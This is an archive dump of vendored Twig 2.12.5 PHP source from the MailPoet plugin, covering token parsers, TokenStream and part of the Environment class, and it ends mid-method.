function getTag() { return 'sandbox'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\SandboxTokenParser', 'MailPoetVendor\\Twig_TokenParser_Sandbox'); twig/src/TokenParser/FlushTokenParser.php 0000666 00000001114 15035120623 0014510 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\FlushNode; use MailPoetVendor\Twig\Token; final class FlushTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $this->parser->getStream()->expect( 3 ); return new \MailPoetVendor\Twig\Node\FlushNode($token->getLine(), $this->getTag()); } public function getTag() { return 'flush'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\FlushTokenParser', 'MailPoetVendor\\Twig_TokenParser_Flush'); twig/src/TokenParser/ImportTokenParser.php 0000666 00000002005 15035120623 0014701 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\ImportNode; use MailPoetVendor\Twig\Token; final class ImportTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $macro = $this->parser->getExpressionParser()->parseExpression(); $this->parser->getStream()->expect( 5, 'as' ); $var = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($this->parser->getStream()->expect( 5 )->getValue(), $token->getLine()); $this->parser->getStream()->expect( 3 ); $this->parser->addImportedSymbol('template', $var->getAttribute('name')); return new \MailPoetVendor\Twig\Node\ImportNode($macro, $var, $token->getLine(), $this->getTag(), $this->parser->isMainScope()); } public function getTag() { return 'import'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\ImportTokenParser', 'MailPoetVendor\\Twig_TokenParser_Import'); twig/src/TokenParser/SetTokenParser.php 0000666 00000003046 15035120623 0014170 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\SetNode; use MailPoetVendor\Twig\Token; final class SetTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $names = $this->parser->getExpressionParser()->parseAssignmentExpression(); $capture = \false; if ($stream->nextIf( 8, '=' )) { $values = $this->parser->getExpressionParser()->parseMultitargetExpression(); $stream->expect( 3 ); if (\count($names) !== \count($values)) { throw new \MailPoetVendor\Twig\Error\SyntaxError('When using set, you must have the same number of variables and assignments.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } else { $capture = \true; if (\count($names) > 1) { throw new \MailPoetVendor\Twig\Error\SyntaxError('When using set with a block, you cannot have a multi-target.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $stream->expect( 3 ); $values = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); } return new \MailPoetVendor\Twig\Node\SetNode($capture, $names, $values, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endset'); } public function getTag() { return 'set'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\SetTokenParser', 'MailPoetVendor\\Twig_TokenParser_Set'); twig/src/TokenParser/ExtendsTokenParser.php 0000666 00000002365 15035120623 0015052 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class ExtendsTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); if ($this->parser->peekBlockStack()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Cannot use "extend" in a block.', $token->getLine(), $stream->getSourceContext()); } elseif (!$this->parser->isMainScope()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Cannot use "extend" in a macro.', $token->getLine(), $stream->getSourceContext()); } if (null !== $this->parser->getParent()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Multiple extends tags are forbidden.', $token->getLine(), $stream->getSourceContext()); } $this->parser->setParent($this->parser->getExpressionParser()->parseExpression()); $stream->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); return new \MailPoetVendor\Twig\Node\Node(); } public function getTag() { return 'extends'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\ExtendsTokenParser', 'MailPoetVendor\\Twig_TokenParser_Extends'); twig/src/TokenParser/UseTokenParser.php 0000666 00000002704 15035120623 0014171 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class UseTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $template = $this->parser->getExpressionParser()->parseExpression(); $stream = $this->parser->getStream(); if (!$template instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { throw new \MailPoetVendor\Twig\Error\SyntaxError('The template references in a "use" statement must be a string.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $targets = []; if ($stream->nextIf('with')) { do { $name = $stream->expect( 5 )->getValue(); $alias = $name; if ($stream->nextIf('as')) { $alias = $stream->expect( 5 )->getValue(); } $targets[$name] = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($alias, -1); if (!$stream->nextIf( 9, ',' )) { break; } } while (\true); } $stream->expect( 3 ); $this->parser->addTrait(new \MailPoetVendor\Twig\Node\Node(['template' => $template, 'targets' => new \MailPoetVendor\Twig\Node\Node($targets)])); return new \MailPoetVendor\Twig\Node\Node(); } public function getTag() { return 'use'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\UseTokenParser', 'MailPoetVendor\\Twig_TokenParser_Use'); twig/src/TokenParser/IfTokenParser.php 0000666 00000003453 15035120623 0013775 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\IfNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class IfTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $expr = $this->parser->getExpressionParser()->parseExpression(); $stream = $this->parser->getStream(); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideIfFork']); $tests = [$expr, $body]; $else = null; $end = \false; while (!$end) { switch ($stream->next()->getValue()) { case 'else': $stream->expect( 3 ); $else = $this->parser->subparse([$this, 'decideIfEnd']); break; case 'elseif': $expr = $this->parser->getExpressionParser()->parseExpression(); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideIfFork']); $tests[] = $expr; $tests[] = $body; break; case 'endif': $end = \true; break; default: throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected end of template. Twig was looking for the following tags "else", "elseif", or "endif" to close the "if" block started at line %d).', $lineno), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\IfNode(new \MailPoetVendor\Twig\Node\Node($tests), $else, $lineno, $this->getTag()); } public function decideIfFork(\MailPoetVendor\Twig\Token $token) { return $token->test(['elseif', 'else', 'endif']); } public function decideIfEnd(\MailPoetVendor\Twig\Token $token) { return $token->test(['endif']); } public function getTag() { return 'if'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\IfTokenParser', 'MailPoetVendor\\Twig_TokenParser_If'); twig/src/TokenParser/EmbedTokenParser.php 0000666 00000003637 15035120623 0014457 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\EmbedNode; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Token; final class EmbedTokenParser extends \MailPoetVendor\Twig\TokenParser\IncludeTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $parent = $this->parser->getExpressionParser()->parseExpression(); list($variables, $only, $ignoreMissing) = $this->parseArguments(); $parentToken = $fakeParentToken = new \MailPoetVendor\Twig\Token( 7, '__parent__', $token->getLine() ); if ($parent instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $parentToken = new \MailPoetVendor\Twig\Token( 7, $parent->getAttribute('value'), $token->getLine() ); } elseif ($parent instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $parentToken = new \MailPoetVendor\Twig\Token( 5, $parent->getAttribute('name'), $token->getLine() ); } $stream->injectTokens([new \MailPoetVendor\Twig\Token( 1, '', $token->getLine() ), new \MailPoetVendor\Twig\Token( 5, 'extends', $token->getLine() ), $parentToken, new \MailPoetVendor\Twig\Token( 3, '', $token->getLine() )]); $module = $this->parser->parse($stream, [$this, 'decideBlockEnd'], \true); if ($fakeParentToken === $parentToken) { $module->setNode('parent', $parent); } $this->parser->embedTemplate($module); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\EmbedNode($module->getTemplateName(), $module->getAttribute('index'), $variables, $only, $ignoreMissing, $token->getLine(), $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endembed'); } public function getTag() { return 'embed'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\EmbedTokenParser', 'MailPoetVendor\\Twig_TokenParser_Embed'); twig/src/TokenParser/WithTokenParser.php 0000666 00000001743 15035120623 0014352 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\WithNode; use MailPoetVendor\Twig\Token; final class WithTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $variables = null; $only = \false; if (!$stream->test( 3 )) { $variables = $this->parser->getExpressionParser()->parseExpression(); $only = (bool) $stream->nextIf( 5, 'only' ); } $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideWithEnd'], \true); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\WithNode($body, $variables, $only, $token->getLine(), $this->getTag()); } public function decideWithEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endwith'); } public function getTag() { return 'with'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\WithTokenParser', 'MailPoetVendor\\Twig_TokenParser_With'); twig/src/TokenParser/ApplyTokenParser.php 0000666 00000002441 15035120623 0014520 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\TempNameExpression; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Node\SetNode; use MailPoetVendor\Twig\Token; final class ApplyTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $name = $this->parser->getVarName(); $ref = new \MailPoetVendor\Twig\Node\Expression\TempNameExpression($name, $lineno); $ref->setAttribute('always_defined', \true); $filter = $this->parser->getExpressionParser()->parseFilterExpressionRaw($ref, $this->getTag()); $this->parser->getStream()->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); $body = $this->parser->subparse([$this, 'decideApplyEnd'], \true); $this->parser->getStream()->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); return new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Node\SetNode(\true, $ref, $body, $lineno, $this->getTag()), new \MailPoetVendor\Twig\Node\PrintNode($filter, $lineno, $this->getTag())]); } public function decideApplyEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endapply'); } public function getTag() { return 'apply'; } } twig/src/TokenParser/index.php 0000666 00000000000 15035120623 0012351 0 ustar 00 twig/src/TokenParser/DoTokenParser.php 0000666 00000001202 15035120623 0013767 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\DoNode; use MailPoetVendor\Twig\Token; final class DoTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $expr = $this->parser->getExpressionParser()->parseExpression(); $this->parser->getStream()->expect( 3 ); return new \MailPoetVendor\Twig\Node\DoNode($expr, $token->getLine(), $this->getTag()); } public function getTag() { return 'do'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\DoTokenParser', 'MailPoetVendor\\Twig_TokenParser_Do'); twig/src/TokenParser/FilterTokenParser.php 0000666 00000003126 15035120623 0014661 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Token; final class FilterTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $lineno = $token->getLine(); @\trigger_error(\sprintf('The "filter" tag in "%s" at line %d is deprecated since Twig 2.9, use the "apply" tag instead.', $stream->getSourceContext()->getName(), $lineno), \E_USER_DEPRECATED); $name = $this->parser->getVarName(); $ref = new \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression(new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($name, $lineno), null, $lineno, $this->getTag()); $filter = $this->parser->getExpressionParser()->parseFilterExpressionRaw($ref, $this->getTag()); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); $block = new \MailPoetVendor\Twig\Node\BlockNode($name, $body, $lineno); $this->parser->setBlock($name, $block); return new \MailPoetVendor\Twig\Node\PrintNode($filter, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endfilter'); } public function getTag() { return 'filter'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\FilterTokenParser', 'MailPoetVendor\\Twig_TokenParser_Filter'); twig/src/TokenParser/MacroTokenParser.php 0000666 00000003012 15035120623 0014467 0 ustar 00 <?php
namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\BodyNode; use MailPoetVendor\Twig\Node\MacroNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class MacroTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $name = $stream->expect( 5 )->getValue(); $arguments = $this->parser->getExpressionParser()->parseArguments(\true, \true); $stream->expect( 3 ); $this->parser->pushLocalScope(); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); if ($token = $stream->nextIf( 5 )) { $value = $token->getValue(); if ($value != $name) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Expected endmacro for macro "%s" (but "%s" given).', $name, $value), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } $this->parser->popLocalScope(); $stream->expect( 3 ); $this->parser->setMacro($name, new \MailPoetVendor\Twig\Node\MacroNode($name, new \MailPoetVendor\Twig\Node\BodyNode([$body]), $arguments, $lineno, $this->getTag())); return new \MailPoetVendor\Twig\Node\Node(); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endmacro'); } public function getTag() { return 'macro'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\MacroTokenParser', 'MailPoetVendor\\Twig_TokenParser_Macro'); twig/src/TokenStream.php 0000666 00000004737 15035120623 0011266 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; final class TokenStream { private $tokens; private $current = 0; private $source; public function __construct(array $tokens, \MailPoetVendor\Twig\Source $source = null) { $this->tokens = $tokens; $this->source = $source ?: new \MailPoetVendor\Twig\Source('', ''); } public function __toString() { return \implode("\n", $this->tokens); } public function injectTokens(array $tokens) { $this->tokens = \array_merge(\array_slice($this->tokens, 0, $this->current), $tokens, \array_slice($this->tokens, $this->current)); } public function next() : \MailPoetVendor\Twig\Token { if (!isset($this->tokens[++$this->current])) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Unexpected end of template.', $this->tokens[$this->current - 1]->getLine(), $this->source); } return $this->tokens[$this->current - 1]; } public function nextIf($primary, $secondary = null) { if ($this->tokens[$this->current]->test($primary, $secondary)) { return $this->next(); } } public function expect($type, $value = null, string $message = null) : \MailPoetVendor\Twig\Token { $token = $this->tokens[$this->current]; if (!$token->test($type, $value)) { $line = $token->getLine(); throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('%sUnexpected token "%s"%s ("%s" expected%s).', $message ? $message . '. ' : '', \MailPoetVendor\Twig\Token::typeToEnglish($token->getType()), $token->getValue() ? \sprintf(' of value "%s"', $token->getValue()) : '', \MailPoetVendor\Twig\Token::typeToEnglish($type), $value ? \sprintf(' with value "%s"', $value) : ''), $line, $this->source); } $this->next(); return $token; } public function look(int $number = 1) : \MailPoetVendor\Twig\Token { if (!isset($this->tokens[$this->current + $number])) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Unexpected end of template.', $this->tokens[$this->current + $number - 1]->getLine(), $this->source); } return $this->tokens[$this->current + $number]; } public function test($primary, $secondary = null) : bool { return $this->tokens[$this->current]->test($primary, $secondary); } public function isEOF() : bool { return -1 === $this->tokens[$this->current]->getType(); } public function getCurrent() : \MailPoetVendor\Twig\Token { return $this->tokens[$this->current]; } public function getSourceContext() : \MailPoetVendor\Twig\Source { return $this->source; } } \class_alias('MailPoetVendor\\Twig\\TokenStream', 'MailPoetVendor\\Twig_TokenStream'); twig/src/Environment.php 0000666 00000033006 15035120623 0011325 0 ustar 00 <?php
namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Cache\CacheInterface; use MailPoetVendor\Twig\Cache\FilesystemCache; use MailPoetVendor\Twig\Cache\NullCache; use MailPoetVendor\Twig\Error\Error; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Error\RuntimeError; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Extension\CoreExtension; use MailPoetVendor\Twig\Extension\EscaperExtension; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Extension\OptimizerExtension; use MailPoetVendor\Twig\Loader\ArrayLoader; use MailPoetVendor\Twig\Loader\ChainLoader; use MailPoetVendor\Twig\Loader\LoaderInterface; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface; use MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; class Environment { const VERSION = '2.12.5'; const VERSION_ID = 21205; const MAJOR_VERSION = 2; const MINOR_VERSION = 12; const RELEASE_VERSION = 5; const EXTRA_VERSION = ''; private $charset; private $loader; private $debug; private $autoReload; private $cache; private $lexer; private $parser; private $compiler; private $baseTemplateClass; private $globals = []; private $resolvedGlobals; private $loadedTemplates; private $strictVariables; private $templateClassPrefix = '__TwigTemplate_'; private $originalCache; private $extensionSet; private $runtimeLoaders = []; private $runtimes = []; private $optionsHash; public function __construct(\MailPoetVendor\Twig\Loader\LoaderInterface $loader, $options = []) { $this->setLoader($loader); $options = \array_merge(['debug' => \false, 'charset' => 'UTF-8', 'base_template_class' => \MailPoetVendor\Twig\Template::class, 'strict_variables' => \false, 'autoescape' => 'html', 'cache' => \false, 'auto_reload' => null, 'optimizations' => -1], $options); $this->debug = (bool) $options['debug']; $this->setCharset($options['charset']); $this->baseTemplateClass = '\\' . \ltrim($options['base_template_class'], '\\'); if ('\\' . \MailPoetVendor\Twig\Template::class !== $this->baseTemplateClass && '\\Twig_Template' !== $this->baseTemplateClass) { @\trigger_error('The "base_template_class" option on ' . __CLASS__ . ' is deprecated since Twig 2.7.0.', \E_USER_DEPRECATED); } $this->autoReload = null === $options['auto_reload'] ? $this->debug : (bool) $options['auto_reload']; $this->strictVariables = (bool) $options['strict_variables']; $this->setCache($options['cache']); $this->extensionSet = new \MailPoetVendor\Twig\ExtensionSet(); $this->addExtension(new \MailPoetVendor\Twig\Extension\CoreExtension()); $this->addExtension(new \MailPoetVendor\Twig\Extension\EscaperExtension($options['autoescape'])); $this->addExtension(new \MailPoetVendor\Twig\Extension\OptimizerExtension($options['optimizations'])); } public function getBaseTemplateClass() { if (1 > \func_num_args() || \func_get_arg(0)) { @\trigger_error('The ' . __METHOD__ . ' is deprecated since Twig 2.7.0.', \E_USER_DEPRECATED); } return $this->baseTemplateClass; } public function setBaseTemplateClass($class) { @\trigger_error('The ' . __METHOD__ . ' is deprecated since Twig 2.7.0.', \E_USER_DEPRECATED); $this->baseTemplateClass = $class; $this->updateOptionsHash(); } public function enableDebug() { $this->debug = \true; $this->updateOptionsHash(); } public function disableDebug() { $this->debug = \false; $this->updateOptionsHash(); } public function isDebug() { return $this->debug; } public function enableAutoReload() { $this->autoReload = \true; } public function disableAutoReload() { $this->autoReload = \false; } public function isAutoReload() { return $this->autoReload; } public function enableStrictVariables() { $this->strictVariables = \true; $this->updateOptionsHash(); } public function disableStrictVariables() { $this->strictVariables = \false; $this->updateOptionsHash(); } public function isStrictVariables() { return $this->strictVariables; } public function getCache($original = \true) { return $original ? $this->originalCache : $this->cache; } public function setCache($cache) { if (\is_string($cache)) { $this->originalCache = $cache; $this->cache = new \MailPoetVendor\Twig\Cache\FilesystemCache($cache); } elseif (\false === $cache) { $this->originalCache = $cache; $this->cache = new \MailPoetVendor\Twig\Cache\NullCache(); } elseif ($cache instanceof \MailPoetVendor\Twig\Cache\CacheInterface) { $this->originalCache = $this->cache = $cache; } else { throw new \LogicException(\sprintf('Cache can only be a string, false, or a \\Twig\\Cache\\CacheInterface implementation.')); } } public function getTemplateClass($name, $index = null) { $key = $this->getLoader()->getCacheKey($name) . $this->optionsHash; return $this->templateClassPrefix . \hash('sha256', $key) . (null === $index ? '' : '___' . $index); } public function render($name, array $context = []) { return $this->load($name)->render($context); } public function display($name, array $context = []) { $this->load($name)->display($context); } public function load($name) { if ($name instanceof \MailPoetVendor\Twig\TemplateWrapper) { return $name; } if ($name instanceof \MailPoetVendor\Twig\Template) { @\trigger_error('Passing a \\Twig\\Template instance to ' . __METHOD__ . ' is deprecated since Twig 2.7.0, use \\Twig\\TemplateWrapper instead.', \E_USER_DEPRECATED); return new \MailPoetVendor\Twig\TemplateWrapper($this, $name); } return new \MailPoetVendor\Twig\TemplateWrapper($this, $this->loadTemplate($name)); } public function loadTemplate($name, $index = null) { return $this->loadClass($this->getTemplateClass($name), $name, $index); } public function loadClass($cls, $name, $index = null) { $mainCls = $cls; if (null !== $index) { $cls .= '___' . $index; } if (isset($this->loadedTemplates[$cls])) { return $this->loadedTemplates[$cls]; } if (!\class_exists($cls, \false)) { $key = $this->cache->generateKey($name, $mainCls); if (!$this->isAutoReload() || $this->isTemplateFresh($name, $this->cache->getTimestamp($key))) { $this->cache->load($key); } $source = null; if (!\class_exists($cls, \false)) { $source = $this->getLoader()->getSourceContext($name); $content = $this->compileSource($source); $this->cache->write($key, $content); $this->cache->load($key); if (!\class_exists($mainCls, \false)) { eval('?>' . $content); } if (!\class_exists($cls, \false)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Failed to load Twig template "%s", index "%s": cache might be corrupted.', $name, $index), -1, $source); } } } $this->extensionSet->initRuntime($this); return $this->loadedTemplates[$cls] = new $cls($this); } public function createTemplate($template, string $name = null) { $hash = \hash('sha256', $template, \false); if (null !== $name) { $name = \sprintf('%s (string template %s)', $name, $hash); } else { $name = \sprintf('__string_template__%s', $hash); } $loader = new \MailPoetVendor\Twig\Loader\ChainLoader([new \MailPoetVendor\Twig\Loader\ArrayLoader([$name => $template]), $current = $this->getLoader()]); $this->setLoader($loader); try { return new \MailPoetVendor\Twig\TemplateWrapper($this, $this->loadTemplate($name)); } finally { $this->setLoader($current); } } public function isTemplateFresh($name, $time) { return $this->extensionSet->getLastModified() <= $time && $this->getLoader()->isFresh($name, $time); } public function resolveTemplate($names) { if (!\is_array($names)) { $names = [$names]; } foreach ($names as $name) { if ($name instanceof \MailPoetVendor\Twig\Template) { return $name; } if ($name instanceof \MailPoetVendor\Twig\TemplateWrapper) { return $name; } try { return $this->loadTemplate($name); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { if (1 === \count($names)) { throw $e; } } } throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Unable to find one of the following templates: "%s".', \implode('", "', $names))); } public function setLexer(\MailPoetVendor\Twig\Lexer $lexer) { $this->lexer = $lexer; } public function tokenize(\MailPoetVendor\Twig\Source $source) { if (null === $this->lexer) { $this->lexer = new \MailPoetVendor\Twig\Lexer($this); } return $this->lexer->tokenize($source); } public function setParser(\MailPoetVendor\Twig\Parser $parser) { $this->parser = $parser; } public function parse(\MailPoetVendor\Twig\TokenStream $stream) { if (null === $this->parser) { $this->parser = new \MailPoetVendor\Twig\Parser($this); } return $this->parser->parse($stream); } public function setCompiler(\MailPoetVendor\Twig\Compiler $compiler) { $this->compiler = $compiler; } public function compile(\MailPoetVendor\Twig\Node\Node $node) { if (null === $this->compiler) { $this->compiler = new \MailPoetVendor\Twig\Compiler($this); } return $this->compiler->compile($node)->getSource(); } public function compileSource(\MailPoetVendor\Twig\Source $source) { try { return $this->compile($this->parse($this->tokenize($source))); } catch (\MailPoetVendor\Twig\Error\Error $e) { $e->setSourceContext($source); throw $e; } catch (\Exception $e) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('An exception has been thrown during the compilation of a template ("%s").', $e->getMessage()), -1, $source, $e); } } public function setLoader(\MailPoetVendor\Twig\Loader\LoaderInterface $loader) { $this->loader = $loader; } public function getLoader() { return $this->loader; } public function setCharset($charset) { if ('UTF8' === ($charset = \strtoupper($charset))) { $charset = 'UTF-8'; } $this->charset = $charset; } public function getCharset() { return $this->charset; } public function hasExtension($class) { return $this->extensionSet->hasExtension($class); } public function addRuntimeLoader(\MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface $loader) { $this->runtimeLoaders[] = $loader; } public function getExtension($class) { return $this->extensionSet->getExtension($class); } public function getRuntime($class) { if (isset($this->runtimes[$class])) { return $this->runtimes[$class]; } foreach ($this->runtimeLoaders as $loader) { if (null !== ($runtime = $loader->load($class))) { return $this->runtimes[$class] = $runtime; } } throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Unable to load the "%s" runtime.', $class)); } public function addExtension(\MailPoetVendor\Twig\Extension\ExtensionInterface $extension) { $this->extensionSet->addExtension($extension); $this->updateOptionsHash(); } public function setExtensions(array $extensions) { $this->extensionSet->setExtensions($extensions); $this->updateOptionsHash(); } public function getExtensions() { return $this->extensionSet->getExtensions(); } public function addTokenParser(\MailPoetVendor\Twig\TokenParser\TokenParserInterface $parser) { $this->extensionSet->addTokenParser($parser); } public function getTokenParsers() { return $this->extensionSet->getTokenParsers(); } public function getTags() { $tags = []; foreach ($this->getTokenParsers() as $parser) { $tags[$parser->getTag()] = $parser; } return $tags; } public function addNodeVisitor(\MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface $visitor) { $this->extensionSet->addNodeVisitor($visitor); } public function getNodeVisitors() { return $this->extensionSet->getNodeVisitors(); } public function addFilter(\MailPoetVendor\Twig\TwigFilter $filter) { $this->extensionSet->addFilter($filter); } public function getFilter($name) { return $this->extensionSet->getFilter($name); } public function registerUndefinedFilterCallback(callable $callable) { $this->extensionSet->registerUndefinedFilterCallback($callable); } public function getFilters() { return $this->extensionSet->getFilters(); } public function addTest(\MailPoetVendor\Twig\TwigTest $test) { $this->extensionSet->addTest($test); } public function getTests() { return $this->extensionSet->getTests(); } public function getTest($name) { return $this->extensionSet->getTest($name); } public function addFunction(\MailPoetVendor\Twig\TwigFunction $function) { $this->extensionSet->addFunction($function); } public function getFunction($name) { return $this->extensionSet->getFunction($name); } public function registerUndefinedFunctionCallback(callable $callable) { $this->extensionSet->registerUndefinedFunctionCallback($callable); } public function getFunctions() { return $this->extensionSet->getFunctions(); } public function addGlobal($name, $value) { if ($this->extensionSet->isInitialized() && !\array_key_exists($name, $this->getGlobals())) { throw new \LogicException(\sprintf('Unable to add global "%s" as the runtime or the extensions have already been initialized.', $name)); } if (null !== $this->resolvedGlobals) { $this->resolvedGlobals[$name] = $value; } else { $this->globals[$name] = $value; } } public function getGlobals() { if ($this->extensionSet->isInitialized()) { if (null === $this->resolvedGlobals) { $this->resolvedGlobals = \array_merge($this->extensionSet->getGlobals(), $this->globals); } return $this->resolvedGlobals; } return \array_merge($this->extensionSet->getGlobals(), $this->globals); } public function mergeGlobals(array $context) { foreach ($this->getGlobals() as $key => $value) { if (!\array_key_exists($key, $context)) { $context[$key] = $value; } } return $context; } public function getUnaryOperators() { return $this->extensionSet->getUnaryOperators(); } public function 